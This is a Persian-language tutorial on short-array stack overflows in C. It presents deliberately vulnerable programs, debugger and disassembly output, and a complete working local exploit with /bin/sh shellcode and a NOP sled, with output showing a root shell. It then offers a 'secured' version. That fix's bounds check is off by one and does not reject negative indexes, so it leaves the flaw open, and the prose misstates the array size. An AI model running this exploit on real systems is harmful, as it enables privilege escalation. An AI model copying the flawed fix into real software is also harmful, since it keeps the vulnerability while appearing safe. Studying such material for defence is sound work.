يكی از معروفترين و شايد پرطرفدارترين آسيب پذيریهایی كه تا كنون مورد استفاده قرار گرفته Stack-Based Overflow (سریزبافر بر پایه پشته ) میباشد كه زير شاخه ی Buffer Overflow است.
آسيب پذيری Stack overflow را می توان به چند دسته تقسيم كرد، مانند :
Functions Overflow*
Integer Overflow
Short Array Overflow
*همان Functionهايی است كه در Source Code استفاده می شود و می توان بوسيله ی آن برنامه را دچار Stack Overflow كرد. مانند :
gets() sprintf() strcat() strcpy() streadd() strecpy() strtrns() index() fscanf() scanf() sscanf() vsprintf() realpath() getopt() getpass() |
شايد در مورد موارد بالا مقاله ها و مطالب زيادی خوانده باشيد، ولی درمورد Short Array Overflow مقالات كمی به زبان فارسی وجود دارد. به همين جهت به نوشتن چنين مقاله ای هرچند كوتاه پرداختم.
Short Array Overflow :
همين طور كه اشاره شد اين آسيب پذيری از زير شاخه های Stack-Based هست و نام آن نشان ميدهد كه در چه رابطه ای میتواند باشد.
وقتی در برنامه ای يك Array تعريف می شود و برای آن مقدار تعيين می گردد، در صورت اينكه كاربر بتواند در آن دست ببرد، می توان برنامه را دچار Short Array Overflow كرد.
با مثال زير بهتر درك خواهيد كرد :
---- Vuln-Array.c ----
#include <stdio.h>
int main(int argc, char *argv[]){ int array[10]; printf(“Please Enter your Array value : “); gets(array); printf(“Your Vaule: %d, array); return 0; }
---- Vuln-Array.c ---- |
در خط های اول: برنامه يك Array به اسم Array كه مقدار 32 برايش تعيين شده تعريف كرده است.
در خط های بعدی: برنامه از كاربر مقدار Array را درخواست می كند.
حالا كد های خودمان را Compile كرده و برنامه را اجرا می كنيم :
D:\>lc –g2 vuln-array.c –o vuln-array.exe –s D:\>vuln-array.exe Please Enter your Array value : 1,2,3,4,5,6,7,8,9,10 Your Value: 1244996 D:\>
|
تا به اينجا همه چیز عادی بنظر می رسد، حالا بيايد تعداد اعداد را از 10 به 17 برسانيم :
D:\>vuln-array.exe Please Enter your Array value : 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 Your Value: 1244996 abnormal program termination ------- AppName: Vuln-array.exe AppVer: 0.0.0.0 ModName: Vuln-array.exe ModVer: 0.0.0.0 Offset: 00001289 |
خوب! ميبينيد كه به راحتی overflow شد...
اگر يك Penetration tester هستيد و با disassemblying آشنا هستيد بايد بگم كه در كد زير overflow ايجاد می شود :
ADD ESP,18 XOR ECX,ECX MOV DWORD PTR SS:[EBP-4],ECX
|
اينجاست كه Array تعريف می شود و مقدار 10 (در كد) به آن اختصاص داده می شود...
PUSH EDI PUSH a.004090A2 ; /Arg1 = 004090A2 ASCII "Please Enter your Array: " CALL a.00406D51 ; \a.00406D51 ADD ESP,4 LEA EDI,DWORD PTR SS:[EBP-28] PUSH EDI ; /s CALL <JMP.&CRTDLL.gets> ; \gets
|
در اين قسمت هم مقدار Array از كاربر دريافت می شود بدون هيچ فيلتر كردن و يا چيز ديگری !!
(كد های بالا از برنامه ی OllyDBG استخراج شده، هرچند كه IDA برای اين كارها مناسب تر است)
Exploitation :
همين طور كه مشاهده كرديد برنامه ی ما Overflow شد.
حالا كدهای برنامه رو تغيير می دهيم :
---- int_array.c ----
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
void place_int_array(unsigned int slot,int value){ int array[32]; array[slot]=value; /* the overwrite itself. */ printf("filled slot %u with %d.\n",slot,value); return; } int main(int argc,char **argv){ if(argc!=3) printf("syntax: %s [slot] [value]\n",argv[0]); else place_int_array(atoi(argv[1]),atoi(argv[2])); exit(0); } ---- int_array.c ---- |
حالا در لينوكس امتحان می كنيم :
$ [root@localhost /root]# gcc int_array.c -o int_array $ [root@localhost /root]# ./int_array 33 65535 $ filled slot 33 with 65535. $ [root@localhost /root]# ./int_array 34 65535 $ filled slot 34 with 65535. $ [root@localhost /root]# ./int_array 35 65535 $ filled slot 35 with 65535. $ Segmentation fault (core dumped)
و ازGdb برایdubug كردنcore برنامه استفاده می كنيم:
$ [root@localhost /root]# gdb -c core $ GNU gdb 5.0rh-5 Red Hat Linux 7.1 $ ... $ This GDB was configured as "i386-redhat-linux". $ Core was generated by `./int_array 35 65535'. $ Program terminated with signal 11, Segmentation fault. $ #0 0x0000ffff in ?? () $ (gdb) |
در اينجا 0x0000ffff همان عدد 65535 است.خوب كنترل EIP در دست ماست و می توانيم shellcodeهای خودمون را اجرا كنيم. حالا به exploit زير دقت كنيد :
---- expl_int_array.c ----
/* expl_int_array.c: int_array.c exploit. */ /* syntax: ./expl_int_array [0x????????] [#] */
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h>
/* path to the buggy program. (int_array) */
#define PATH "./int_array"
/* size of shellcode buffer. */
#define ENV_SIZE 4096
/* x86/linux shellcode, written by aleph1. */
static char x86_exec[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68";
int main(int argc,char **argv){ char n_to_s[16],*buf; unsigned int ret;
/* take address given, to be converted to a */ /* numeric value. */
if(argc>2) sscanf(argv[1],"%x",&ret); else{ printf("syntax: %s [0x????????] [#]\n",argv[0]); exit(0); }
/* compensation: */ /* anything above 0x7fffffff will need to be */ /* passed as a negative value. subtract */ /* 0xffffffff in that case. it will loop */ /* over into the desired value. */
if(ret>0x7fffffff) sprintf(n_to_s,"%d",ret-0xffffffff-1); else sprintf(n_to_s,"%u",ret);
/* put the nops+shellcode in the environment. */
if(!(buf=(char *)malloc(ENV_SIZE+1)))exit(0); memset(buf,0x90,(ENV_SIZE-strlen(x86_exec))); memcpy(buf+(ENV_SIZE-strlen(x86_exec)),x86_exec,strlen(x86_exec)); setenv("EXEC",buf,1); free(buf)
/* some verbose display, informing! */
printf("* return address: 0x%x\n",ret); printf("* command line: %s %s %s\n\n",PATH,argv[2],n_to_s);
/* exploit it. */
execl(PATH,PATH,argv[2],n_to_s,0);
/* should not make it here, execution failed. */
exit(0); } //Exploit by : FakeHal0 ---- expl_int_array.c ---- |
حالا اكسپلويت را اجرا می كنيم :
$ [root@localhost /root]# gcc expl_int_array.c -o expl_int_array $ [root@localhost /root]# ./expl_int_array 0xbffff000 35 $ * return address: 0xbffff000 $ * command line: ./int_array 35 -1073745920 $ $ filled slot 35 with -1073745920. $ sh-2.04# |
بسيار عالی ! shellcode به خوبی اجرا شد و توانستيم دسترسی root را بگيريم...
(اميدوارم با كدهای اكسپلويت مشكلی نداشته باشيد، مقدار كمی در خود كدها توضيح داده شده. روش اكسپلويت كردن Short Array Overflow تقريبا همانند Functions Overflow هستش...)
ايمن كردن برنامه :
بايد گفت كه ايمن ساختن اين برنامه ها كار سختی نيست و فقط با اضافه كردن يك تگ(tag) شرطی به راحتی جلوی Overflow شدن Array را می توان گرفت و ورودی های كاربر را filter كرد
به كد ايمن شده ی زير دقت كنيد :
----- int_array.c (Secure) ----
/* int_array.c: a buggy test program. */ /* syntax: ./int_array [slot] [value] */
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
void place_int_array(int slot,int value){ int array[32]; if(slot>32) printf("slot is greater than 32, out of bounds.\n"); else{ array[slot]=value; /* the overwrite itself. */ printf("filled slot %d with %d.\n",slot,value); }
return;
} int main(int argc,char **argv){ if(argc!=3) printf("syntax: %s [slot] [value]\n",argv[0]); else place_int_array(atoi(argv[1]),atoi(argv[2])); exit(0); }
---- int_array.c (Secure) ---- |
و حالا برنامه را اجرا كرده و آزمايشات قبلی را دوباره تست می كنيم :
$ [root@localhost /root]# ./expl_int_array 0xbffff000 35 $ * return address: 0xbffff000 $ * command line: ./int_array 35 -1073745919 $ $ slot is greater than 32, out of bounds. |
اكسپلويت ما كار نكرد، كه نشانه از آن است كه برنامه ایمن شده است.
منبع:www.bugtrag.ir/س